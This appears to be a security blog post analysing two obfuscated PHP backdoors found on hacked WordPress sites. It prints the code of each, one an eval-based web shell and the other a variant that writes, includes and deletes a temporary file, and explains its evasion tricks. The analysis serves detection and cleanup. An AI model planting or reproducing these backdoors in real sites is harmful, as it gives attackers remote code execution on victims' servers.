There used to be this backdoor that was mainly uploaded via old Gravity Forms vulnerabilities:
< script language="php" > $a=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100). chr(101).chr(99).chr(111).chr(100).chr(101); e v a l($a($_REQUEST[sam]));</script>
Originally, it\'s a one line script. To improve readability and avoid anti-virus false alarms I broke it into multiple lines and added obvious spaces inside the eval keyword. You can find similar modifications in the second snippet too.
The chr(98).chr(97)... part decodes to base64_decode which makes it a typical backdoor that executes arbitrary base64 encoded PHP code passed in the sam request parameter.
While base64_decode was obfuscated, the eval keyword was still prominent, which made the script easy to detect.
A couple of weeks ago we began finding a new version of this backdoor (usually in wp-check.php files).
<?php $m=chr(98).chr(97). chr(115).chr(101).chr(54).chr(52).chr(95). chr(100).chr(101).chr(99).chr(111).chr(100).chr(101); $m=$m($_REQUEST[chr(122)]); @file_put_contents(chr(122),"<?php ".$m); @include(chr(122)); @unlink(chr(122));
Again, originally it\'s all in one line. You can recognize the obfuscated base64_decode on the first line. The second line looks similar but there\'s no eval and the request parameter name is now obfuscated: chr(122) decodes to z. Let\'s see how it works without the eval:
The decoded value of the z request parameter is prepended by the PHP opening tag <?php and saved in the z file in the current directory. Now the z file contains the code provided by the attackers. To execute the code, they include the z file in to the current script @include(chr(122)); and then delete it @unlink(chr(122)); to removed traces of their activity.
Note, we usually find this backdoor on severely infected sites with outdated WordPress plugins. Such sites usually have 3-5 more types of backdoors scattered across different directories. If you find this backdoor on server, it usually means that either your site uses outdated/vulnerable plugins/themes/components, or it had been hacked, then cleaned, but you failed to deleted all the backdoors last time, so the attackers still have access to your site.